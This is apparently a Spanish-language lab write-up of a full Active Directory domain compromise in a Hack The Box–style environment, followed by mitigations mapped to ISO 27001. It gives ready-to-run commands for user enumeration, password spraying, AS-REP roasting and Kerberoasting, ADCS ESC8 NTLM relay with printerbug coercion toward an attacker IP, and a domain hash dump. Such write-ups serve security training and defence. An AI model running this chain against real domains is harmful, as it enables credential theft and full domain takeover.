shadow.gate — Active Directory (DC01) · Tier Media-Alta

Plataforma: Laboratorio AD / Hack The Box style Dominio: shadow.gate · DC: DC01.shadow.gate · IP: 10.1.88.4 Fecha: 2026-01-15 Objetivo: acceso al dominio completo (Administrator / DA) vía cadena ADCS.


Resumen ejecutivo

Cadena de ataque al dominio Windows mediante abuso de infraestructura ADCS (PKI) partiendo de un ASREProast y escalando por Kerberoast + BloodHound. El vector clave fue un template de certificado vulnerable a ESC8 que permitió, mediante NTLM relay + printerbug (spooler abuse), obtener un certificado de Domain Controller, autenticarse con ticket Kerberos y dumpear los hashes del dominio.

Resumen de la cadena (MITRE ATT&CK):

Paso Técnica Táctica
Null session + user enumeration T1087.002 Account Discovery Discovery
ASREProast → crack jtrueblood T1558.004 Kerberoasting / AS-REP Credential Access
BloodHound → outbound object control T1069 Permission Groups Discovery Discovery
Kerberoast bbrown → crack T1558.003 Kerberoasting Credential Access
ESC8 (NTLM relay → ADCS Web Enrollment) T1557 Adversary-in-the-Middle + T1649 Steal-or-Forge Certificates Credential Access
printerbug (spooler) para forzar relay T1557.001 LLMNR/NBT-NS Poisoning + MS-RPRN Credential Access
certipy auth → ticket Kerberos T1558 Kerberos + T1649 Credential Access
Dump hashes del dominio T1003.001 LSASS / DCSync Credential Access

1. Enumeración

export target=10.1.88.4
rustscan -a $target -- -A
nmap -sCV --min-rate 2500 -p- -Pn -n $target

Resultado nmap (servicios clave):

Puerto Servicio Detalle
53 domain Simple DNS Plus
80 http Microsoft IIS httpd 10.0
88 kerberos-sec Windows Kerberos
135 / 139 / 445 RPC / netbios / SMB SMB
389 / 636 / 3268 / 3269 LDAP / LDAPS / GC Dominio: shadow.gate, sitio Default-First-Site
3389 RDP Windows Terminal Services
5985 WinRM HTTPAPI 2.0
9389 mc-nmf .NET Message Framing

Se identifica un Domain Controller (DC01.shadow.gate) con todos los servicios AD expuestos.

Resolver el hosts:

echo '10.1.88.4 shadow.gate dc01.shadow.gate' | sudo tee -a /etc/hosts

(Nota: en el proceso original aparecía dc01.shado.gate, se corrige a dc01.shadow.gate.)


2. Enumeración de usuarios (null session)

enum4linux $target

Se confirma autenticación con credenciales nulas (null session) que devuelve información del dominio. Aprovechamos con nxc:

nxc smb $target -u '' -p '' --users-export usuarios.txt

Extraemos la lista de usuarios del dominio.

Intento de password-spray (cada usuario con su mismo nombre como password), descartando brute-force real:

nxc smb $target -u usuarios.txt -p usuarios.txt --no-brute

Sin resultados → pasamos a ASREP.


3. ASREProast → primeras credenciales

Probamos usuarios AS-REP roastables (sin pre-auth de Kerberos):

nxc ldap $target -u usuarios.txt -p '' --asreproast asrep.hash

Se obtiene el hash del usuario jtrueblood. Se crackea:

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
# -m 18200  ->  Kerberos 5, etype 23, AS-REP

Credenciales obtenidas:

jtrueblood : blood_brothers

4. BloodHound → reconocimiento de rutas de ataque

nxc ldap $target -u 'jtrueblood' -p 'blood_brothers' \
  --bloodhound --collection all --dns-server 10.1.88.4

Cargamos el zip generado en BloodHound y analizamos Outbound Object Control:


5. Kerberoast → credenciales de bbrown

python3 .../targetedKerberoast.py -v -d shadow.gate -u 'jtrueblood' -p 'blood_brothers'

Se obtiene el hash Kerberoast (SPN de bbrown), se crackea:

hashcat -m 13100 bbrown.hash /usr/share/wordlists/rockyou.txt
# -m 13100  ->  Kerberos 5, etype 23, TGS-REP

Credenciales obtenidas:

bbrown@shadow.gate : 12345678

6. ADCS enumeration (certipy) → ESC8

Como bbrown está en ADCS Reader, podemos consultar plantillas de certificados:

certipy find -u 'bbrown@shadow.gate' -p '12345678' \
  -dc-ip 10.1.88.4 -target 'DC01.shadow.gate' \
  -enabled -vulnerable -stdout

Se identifica un template vulnerable a ESC8 (NTLM Relay a ADCS Web Enrollment). Requiere el flag -template DomainController para obtener un certificado que permita autenticación como DC.


7. ESC8 exploitation (NTLM relay + printerbug)

Consola 1 — listener NTLM relay hacia el Web Enrollment de ADCS:

sudo python3 ntlmrelayx.py \
  -t "http://$target/certsrv/certfnsh.asp" \
  -smb2support --adcs --template DomainController -debug

Consola 2 — forzar autenticación del DC hacia nuestro listener (printerbug / MS-RPRN spooler abuse):

python3 .../printerbug.py \
  "shadow.gate/bbrown:12345678"@'10.1.88.4' 10.200.66.114

(10.200.66.114 = IP del atacante donde corre el listener.)

El relay captura el hash del DC y lo usa para solicitar un certificado de Domain Controller (PFX) al template vulnerable.


8. Del PFX al ticket Kerberos

PFX="$(ls -t *.pfx | head -n1)"
certipy auth -pfx "$PFX" -dc-ip 10.1.88.4

certipy auth con el certificado genera un TGT de Kerberos autenticado como el DC. Exportamos y verificamos:

export KRB5CCNAME="$(realpath "$(ls -t *.ccache | head -n1)")"
klist

9. Dump de hashes del dominio

Con el ticket de DC válido, se dumpean los hashes del dominio (autenticación como DC permite enumerar cuentas y hashes del ntds.dit).

Nota de método: registrar la herramienta exacta usada aquí (p.ej. secretsdump con el ccache/ticket, o equivalente) para completar la evidencia.


10. Controles de mitigación (mapeo ISO/IEC 27001 + best practice AD)

Control recomendado Cómo mitiga esta cadena
Deshabilitar / redirigir la Web Enrollment (certsrv) Elimina el objetivo del NTLM relay (ESC8).
Endpoint hardening de ADCS Evitar templates anidados/extendidos con CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT.
SMB signing obligatorio + LDAP channel binding Debilita el NTLM relay y el printerbug hacia SMB.
Auditoría y minimización de grupos privilegiados ADCS Reader y otros con control sobre certificados no deberían solaparse con usuarios kerberoastables.
Password policy fuerte + LAPS Reduce éxito de ASREProast/Kerberoast con rockyou.
ISO/IEC 27001 A.12.6.1 / A.14.2 Gestión de vulnerabilidades y hardening.
A.9.2 (access control) / A.9.4 (auth methods) Segregación y autenticación multifactor.

Lecciones aprendidas


Nota: las flags/credenciales sensibles se omiten y/o se usan valores de laboratorio. Todo se ejecutó en entorno controlado y autorizado.